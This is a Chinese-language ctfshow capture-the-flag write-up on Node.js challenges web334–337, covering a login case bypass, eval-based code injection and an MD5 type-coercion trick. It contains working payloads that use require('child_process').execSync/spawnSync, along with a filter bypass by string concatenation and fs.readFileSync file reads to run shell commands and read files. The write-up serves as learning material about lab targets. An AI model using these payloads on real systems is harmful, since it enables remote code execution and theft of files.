ctfshow-nodejs

什么是nodejs
Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境。可以说nodejs是一个运行环境，或者说是一个 JS 语言解释器

Nodejs 是基于 Chrome 的 V8 引擎开发的一个 C++ 程序，目的是提供一个 JS 的运行环境。最早 Nodejs 主要是安装在服务器上，辅助大家用 JS 开发高性能服务器代码，但是后来 Nodejs 在前端也大放异彩，带来了 Web 前端开发的革命。Nodejs 下运行 JS 代码有两种方式，一种是在 Node.js 的交互环境下运行，另外一种是把代码写入文件中，然后用 node 命令执行文件代码。Nodejs 跟浏览器是不同的环境，写 JS 代码的时候要注意这些差异。

这也是我第一次接触js 正好学习一下 js的前端和后端的处理方式 代码会有详细的解释

web334

首页面

后端user.js文件

module.exports = {
  items: [//这是一个属性 是一个数组 是一个包含用户名和密码的对象
    {username: 'CTFSHOW', password: '123456'}
  ]
};

后端 login.js文件

var express = require('express');//引入 Express 框架(模块)，用于构建 Web 应用程序
var router = express.Router();//创建一个新的路由处理器实例，用于定义和组织路由
var users = require('../modules/user').items;//引入用户数据模块，假设这里的 user 模块包含了用户数据信息
//定义一个函数 参数为name和password
//并且使用find数组方法 遍历整个数组的元素 每个元素作为返回值传给回调函数作为参数
//判断是否有符合条件的 如果有 findUser 函数会立即返回该用户对象；如果没有找到任何匹配的用户对象，则返回 undefined
var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};
/* GET home page. */
//这段代码是一个路由处理函数，当客户端发送 POST 请求到根路径 / 时会执行该函数
// 首先设置回复方式为html 
router.post('/', function(req, res, next) {
  res.type('html');
  var flag='flag_here';
 //通过 req.session 创建或获取当前会话的 Session 对象
  var sess = req.session;
  //获取数据中的用户名和密码作为finduser函数的参数 函数返回值赋值给user
  var user = findUser(req.body.username, req.body.password);
 //如果user存在 执行代码
 //重新生成会话，并执行回调函数。regenerate 方法用于销毁当前会话并创建一个新的会话，
 //以确保会话安全性。回调函数中的参数 err 是一个可能的错误对象。如果会话生成过程中出现错误，将通过返回一个 JSON 响应表示登录失败
  if(user){
    req.session.regenerate(function(err) {
      if(err){
        return res.json({ret_code: 2, ret_msg: '登录失败'});        
      }
       //将用户对象的用户名赋值给会话对象的 loginUser 属性
      req.session.loginUser = user.username;
	  //返回一个 JSON 响应对象，其中包含登录成功的信息，以及之前设置的 flag 变量的值
      res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              
    });
  }else{
    res.json({ret_code: 1, ret_msg: '账号或密码错误'});
  }  
});
module.exports = router;

前端的js

<script>
    $('.btn').click(function(){
        login();//如果点击btn类名的元素时执行login函数
    });
    function login(){ 
        $.ajax({//开启一个异步 定义提交数据类型以及 提交的位置
            url:'/login',
            type:'post',
            data:{
                username:$('#username').val(),
                password:$('#password').val()
            },
            //数据包返回 会将数据先解析为json格式 然后进行判断
            success:function(data){
                data = JSON.parse(data);
                if(data.ret_code===0){
                   alert(data.ret_flag);
                }else{
                    alert(data.ret_msg);
                }                
            }
        });
    }
</script>

其实有用的就是 后端js的判断 

已知用户数据中有 账号为CTFSHOW 密码为123456

判断条件

 return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

如果提交的name不等于CTFSHOW 且数据中的usernmae等于提交的name的大写 且 数据的password等于提交的password

这样提交小写的ctfshow密码为123456即可

web335

查看源码提示传一个参数 考虑到这里是nodejs，eval很有可能在后端是执行的eval函数

在nodejs中，eval()方法用于计算字符串，并把它作为脚本代码来执行，语法为“eval(string)”；如果参数不是字符串，而是整数或者是Function类型，则直接返回该整数或Function。

传入一个1 回显1 传一个ls无回显 那是正常的 因为这不是shell环境无法ls 这是nodejs环境执行的是js代码 那就想办法怎么执行js代码能做到执行shell代码

这里我们使用require()函数来加载child_process模块 然后使用execSync方法来执行系统命令

require("child_process").execSync('ls')
 

require("child_process").execSync('cat fl00g.txt')

web336

和上一题一样 没什么区别 估计是后端的处理有区别

就是禁用了exec

答案

先用__filename查看当前目录路径

然后读取当前文件名查看过滤点

require('fs').readFileSync('/app/routes/index.js','utf-8')

第一种

?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout

?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()
为什么?eval=require( 'child_process' ).spawnSync( 'ls' )不可以  大概解释就是他的返回结果是一个对象 不能输出 后面加入一个.stdout代表标准输出 也能成功以字符串形式输出再加一个.toString它会将被调用对象转换为字符串表示查看文件

?eval=require( 'child_process' ).spawnSync( 'cat',['fl001g.txt'] ).stdout.toString()

第二种

?eval=require("child_process")['exe'%2B'cSync']('ls')

?eval=require("child_process")['exe'%2B'cSync']('cat fl001g.txt')

第三种读取函数方式

?eval=require("fs").readdirSync('.')     查看当前目录（换成/.可查看根目录）
?eval=require("fs").readFileSync('fl001g.txt') --查看指定文件

web337

var express = require('express');//引入了 Express 模块，它是一个基于 Node.js 平台的 Web 开发框架
var router = express.Router();   //创建了一个新的路由对象
var crypto = require('crypto');  //引入了 Node.js 内置的 crypto 模块。该模块提供了一些加密和哈希算法
function md5(s) { //md5函数用于加密
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}
/* GET home page. */
//路由接收到一个get传到当前页面的数据 设置返回类型为html
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  //判断条件的要求是 a和b有值且不相等 长度相等 与flag合并后md5加密相等
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
});
module.exports = router;

一说两个不一样的进行md5加密 还能相等 那一定就是用到了该变成语言的特性

举个例子

a={'':'1'} //定义一个对象 属性名为空 属性值为1
b={'':'2'}
const c = [1];//定义一个常量数组c 值为1 
const d = [2];
console.log(a+"flag")输出到控制台
console.log(b+"flag")
console.log(c+"flag")
console.log(d+"flag")
//回显
//直接如果是一个对象直接输出 就显示[object Object]
[object Object]flag
[object Object]flag
1flag//数组要是输出那就是数组值
2flag

php中，无论是a[0]=1,a[1]=3…这种key为0,1,2…递增的，还是a[‘x’]=1,a[‘y’]=2这种自定义key的，都叫做数组array；而js中，前者叫数组，后者叫对象（Object）

自然的出答案 这三个但一个意思 都是将a和b当成对象进行赋值

?a[x]=1&b[x]=2
?a[]=1&b[]=1

a[:]=1&b[:]=2